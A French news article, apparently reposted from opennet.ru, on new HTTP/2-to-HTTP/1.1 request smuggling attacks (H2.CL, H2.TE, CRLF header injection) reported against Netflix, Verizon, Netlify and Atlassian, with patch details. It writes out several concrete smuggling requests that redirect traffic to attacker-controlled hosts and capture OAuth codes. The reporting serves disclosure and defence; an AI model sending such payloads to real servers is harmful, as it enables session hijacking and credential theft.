Nouvelle attaque sur les systĂšmes front-end back-end, permettant d'intercaler des requĂȘtes

Les systĂšmes web oĂč le front-end reçoit des connexions via HTTP/2 et les transmet au back-end par HTTP/1.1 sont vulnĂ©rables Ă  une nouvelle variante de l'attaque « HTTP Request Smuggling », qui permet, en envoyant des requĂȘtes client soigneusement formatĂ©es, de s'immiscer dans le contenu des requĂȘtes d'autres utilisateurs traitĂ©es dans le mĂȘme flux entre le front-end et le back-end. Cette attaque peut ĂȘtre utilisĂ©e pour injecter un code JavaScript malveillant dans une session avec un site lĂ©gitime, contourner les systĂšmes de contrĂŽle d'accĂšs et intercepter les paramĂštres d'authentification.

Le problĂšme affecte les web proxies, les Ă©quilibreur de charge, les accĂ©lĂ©reurs web, les systĂšmes de diffusion de contenu et d'autres configurations oĂč les requĂȘtes sont redirigĂ©es selon le schĂ©ma front-end-back-end. L'auteur de l'Ă©tude a dĂ©montrĂ© la possibilitĂ© d'une attaque contre les systĂšmes Netflix, Verizon, Bitbucket, Netlify CDN et Atlassian, et a reçu 56 000 dollars dans des programmes de rĂ©compense pour la dĂ©couverte de vulnĂ©rabilitĂ©s. La problĂ©matique a Ă©galement Ă©tĂ© confirmĂ©e dans les produits F5 Networks. Le problĂšme touche en partie mod_proxy dans le serveur http Apache (CVE-2021-33193), un correctif est attendu dans la version 2.4.49 (les dĂ©veloppeurs ont Ă©tĂ© informĂ©s du problĂšme dĂ©but mai et ont eu 3 mois pour le corriger). Dans nginx, la possibilitĂ© de spĂ©cifier simultanĂ©ment les en-tĂȘtes « Content-Length » et « Transfer-Encoding » a Ă©tĂ© bloquĂ©e dans la derniĂšre version (1.21.1). Des outils pour mener des attaques ont dĂ©jĂ  Ă©tĂ© ajoutĂ©s Ă  l'outil Burp et sont disponibles sous forme d'extension Turbo Intruder.

Le principe d'action de cette nouvelle mĂ©thode d'insertion de requĂȘtes dans le trafic est similaire Ă  la vulnĂ©rabilitĂ© identifiĂ©e par le mĂȘme chercheur il y a deux ans, mais limitĂ©e aux front-ends acceptant des requĂȘtes via HTTP/1.1. Rappelons que dans le schĂ©ma front-end-back-end, un nƓud supplĂ©mentaire — le front-end — reçoit les requĂȘtes des clients et Ă©tablit une connexion TCP de longue durĂ©e avec le back-end, qui traite directement les requĂȘtes. À travers cette connexion partagĂ©e, diffĂ©rentes requĂȘtes d'utilisateurs sont gĂ©nĂ©ralement transmises, suivant une chaĂźne les unes aprĂšs les autres avec une sĂ©paration par les moyens du protocole HTTP.

L'attaque classique « HTTP Request Smuggling » reposait sur le fait que les frontends et backends interprĂštent diffĂ©remment l'utilisation des en-tĂȘtes HTTP « Content-Length » (qui dĂ©termine la taille totale des donnĂ©es dans la requĂȘte) et « Transfer-Encoding: chunked » (qui permet de transmettre des donnĂ©es par morceaux). Par exemple, si le frontend ne prend en charge que « Content-Length », mais ignore « Transfer-Encoding: chunked », alors un attaquant peut envoyer une requĂȘte dans laquelle les en-tĂȘtes « Content-Length » et « Transfer-Encoding: chunked » sont spĂ©cifiĂ©s en mĂȘme temps, mais la taille dans « Content-Length » ne correspond pas Ă  la taille de la chaĂźne chunked. Dans ce cas, le frontend traitera et redirigera la requĂȘte en fonction de « Content-Length », tandis que le backend s'attendra Ă  la fin du bloc basĂ©e sur « Transfer-Encoding: chunked », et le reste de la requĂȘte de l'attaquant se retrouvera au dĂ©but de la requĂȘte Ă©trangĂšre transmise ensuite.

Contrairement au protocole textuel HTTP/1.1, dont l'analyse se fait au niveau des lignes, HTTP/2 est un protocole binaire et manipule des blocs de donnĂ©es de taille spĂ©cifiĂ©e Ă  l'avance. Dans HTTP/2, des pseudo-en-tĂȘtes sont utilisĂ©s, correspondant Ă  des en-tĂȘtes HTTP ordinaires. Lorsqu'il interagit avec le backend via le protocole HTTP/1.1, le frontend traduit ces pseudo-en-tĂȘtes en Ă©quivalents des en-tĂȘtes HTTP/1.1. Le problĂšme est que le backend prend des dĂ©cisions d'analyse du flux uniquement sur la base des en-tĂȘtes HTTP fournis par le frontend, sans avoir d'informations sur les paramĂštres de la requĂȘte d'origine.

Y compris sous forme de pseudo-en-tĂȘtes, les valeurs « content-length » et « transfer-encoding » peuvent ĂȘtre transmises, mĂȘme si elles ne sont pas utilisĂ©es dans HTTP/2, car la taille de toutes les donnĂ©es est dĂ©terminĂ©e dans un champ distinct. Cependant, lors de la conversion d'une requĂȘte HTTP/2 en HTTP/1.1, ces en-tĂȘtes sont transfĂ©rĂ©s et peuvent induire le backend en erreur. Deux principaux types d'attaques se distinguent : H2.TE et H2.CL, oĂč le backend est trompĂ© par une valeur incorrecte de transfer-encoding ou de content-length, ne correspondant pas Ă  la taille rĂ©elle du corps de la requĂȘte reçue par le frontend au travers du protocole HTTP/2.

Nouvelle attaque sur les systĂšmes front-end back-end, permettant d'intercaler des requĂȘtes

À titre d'exemple, l'attaque H2.CL consiste Ă  indiquer une taille incorrecte dans l'en-tĂȘte pseudo-content-length lors de l'envoi d'une requĂȘte HTTP/2 Ă  Netflix. Cette requĂȘte entraĂźne l'ajout d'un en-tĂȘte HTTP Content-Length similaire lors de l'appel au backend via HTTP/1.1, mais comme la taille dans Content-Length est infĂ©rieure Ă  la taille rĂ©elle, une partie des donnĂ©es Ă  la fin est traitĂ©e comme le dĂ©but de la requĂȘte suivante.

Par exemple, la requĂȘte HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Tout cela conduira Ă  l'envoi d'une requĂȘte au backend : POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Comme la valeur de Content-Length est 4, le backend considĂ©rera que le corps de la requĂȘte est uniquement «abcd», tandis que le reste «GET /n HTTP/1.1 » sera traitĂ© comme le dĂ©but d'une requĂȘte suivante, associĂ©e Ă  un autre utilisateur. Ainsi, une dĂ©synchronisation du flux se produira, et la rĂ©ponse Ă  la demande suivante renverra le rĂ©sultat du traitement de la requĂȘte piĂ©gĂ©e. Dans le cas de Netflix, l'indication d'un hĂŽte tiers dans l'en-tĂȘte «Host:» de la requĂȘte piĂ©gĂ©e a conduit Ă  la rĂ©ponse du client «Location: https://02.rs?x.netflix.com/n» et a permis de transmettre au client un contenu arbitraire, y compris l'exĂ©cution de son propre code JavaScript dans le contexte du site Netflix.

La seconde variante d'attaque (H2.TE) est liĂ©e Ă  la substitution de l'en-tĂȘte «Transfer-Encoding: chunked». L'utilisation de l'en-tĂȘte pseudo-transfer-encoding dans HTTP/2 est interdite par la spĂ©cification, et les requĂȘtes contenant cet en-tĂȘte doivent ĂȘtre considĂ©rĂ©es comme incorrectes. MalgrĂ© cela, certaines implĂ©mentations de frontaux ne tiennent pas compte de cette exigence et autorisent l'utilisation de l'en-tĂȘte pseudo-transfer-encoding dans HTTP/2, qui est transformĂ© en un en-tĂȘte HTTP similaire. Lorsqu'un en-tĂȘte «Transfer-Encoding» est prĂ©sent, le backend peut le considĂ©rer comme plus prioritaire et analyser les donnĂ©es par morceaux en mode «chunked», en utilisant des blocs de tailles diffĂ©rentes au format «{taille}\r\n{bloc}\r\n{taille}\r\n{bloc}\r\n0», malgrĂ© la sĂ©paration de la taille totale.

Une telle faille a Ă©tĂ© dĂ©montrĂ©e Ă  l'exemple de l'entreprise Verizon. Le problĂšme concernait le portail d'authentification et du systĂšme de gestion de contenu, qui est Ă©galement utilisĂ© sur des sites tels que Huffington Post et Engadget. Par exemple, la requĂȘte du client en HTTP/2 : :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

A conduit for transmitting to the backend an HTTP/1.1 request: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Le backend, pour sa part, ignorait l'en-tĂȘte «Content-Length» et procĂ©dait Ă  la fragmentation des flux sur la base de «Transfer-Encoding: chunked». En pratique, l'attaque a permis de rediriger les requĂȘtes des utilisateurs vers son propre site et de capturer les requĂȘtes liĂ©es Ă  l'authentification OAuth, dont les paramĂštres apparaissaient dans l'en-tĂȘte Referer, ainsi que de simuler une session d'authentification et d'initier l'envoi des informations d'identification de l'utilisateur au serveur de l'attaquant. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?
&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik


Pour attaquer les implĂ©mentations HTTP/2 qui ne permettent pas l'indication de l'en-tĂȘte pseudo 'transfer-encoding', une autre mĂ©thode a Ă©tĂ© proposĂ©e, consistant Ă  injecter l'en-tĂȘte «Transfer-Encoding» en l'attachant Ă  d'autres en-tĂȘtes pseudo avec une sĂ©paration par un caractĂšre de nouvelle ligne (lors de la conversion en HTTP/1.1, deux en-tĂȘtes HTTP distincts sont créés dans ce cas).

Par exemple, le problĂšme mentionnĂ© a affectĂ© Atlassian Jira et Netlify CDN (utilisĂ© pour fournir la page de dĂ©marrage de Mozilla dans Firefox). En particulier, la requĂȘte HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=

a conduit Ă  l'envoi au backend d'une requĂȘte HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=

Une autre variante de l'injection de l'en-tĂȘte «Transfer-Encoding» consistait Ă  l'attacher au nom d'un autre en-tĂȘte pseudo ou Ă  la ligne avec la mĂ©thode de requĂȘte. Par exemple, lors de l'accĂšs Ă  Atlassian Jira, le nom de l'en-tĂȘte pseudo «foo: bar\r\ntransfer-encoding» avec la valeur «chunked» conduisait Ă  l'ajout des en-tĂȘtes HTTP «foo: bar» et «transfer-encoding: chunked», tandis que la valeur indiquĂ©e dans l'en-tĂȘte pseudo «:method» «GET / HTTP/1.1\r\nTransfer-encoding: chunked» Ă©tait traduite par «GET / HTTP/1.1\r\ntransfer-encoding: chunked».

Le chercheur ayant identifiĂ© le problĂšme a Ă©galement proposĂ© une technique de tunneling des requĂȘtes pour attaquer les frontaux, oĂč pour chacun adresses IP une connexion distincte est Ă©tablie avec le backend et le trafic des diffĂ©rents utilisateurs n'est pas mĂ©langĂ©. La technique proposĂ©e ne permet pas d'interfĂ©rer avec les demandes d'autres utilisateurs, mais permet d'injecter un cache global qui influence le traitement d'autres demandes, et permet d'effectuer une substitution des en-tĂȘtes HTTP internes, utilisĂ©s pour transmettre des informations d'assistance du frontend au backend (par exemple, lors de l'authentification cĂŽtĂ© frontend, des informations sur l'utilisateur actuel peuvent ĂȘtre transmises au backend dans ces en-tĂȘtes). À titre d'exemple de l'application de la mĂ©thode en pratique, un contrĂŽle sur des pages dans le service Bitbucket a Ă©tĂ© obtenu grĂące Ă  l'injection de cache.

Source : opennet.ru

Acheter un hĂ©bergement fiable pour les sites avec protection DDoS, serveurs VPS VDS đŸ”„ Acheter un hĂ©bergement fiable pour les sites avec protection DDoS, serveurs VPS VDS | ProHoster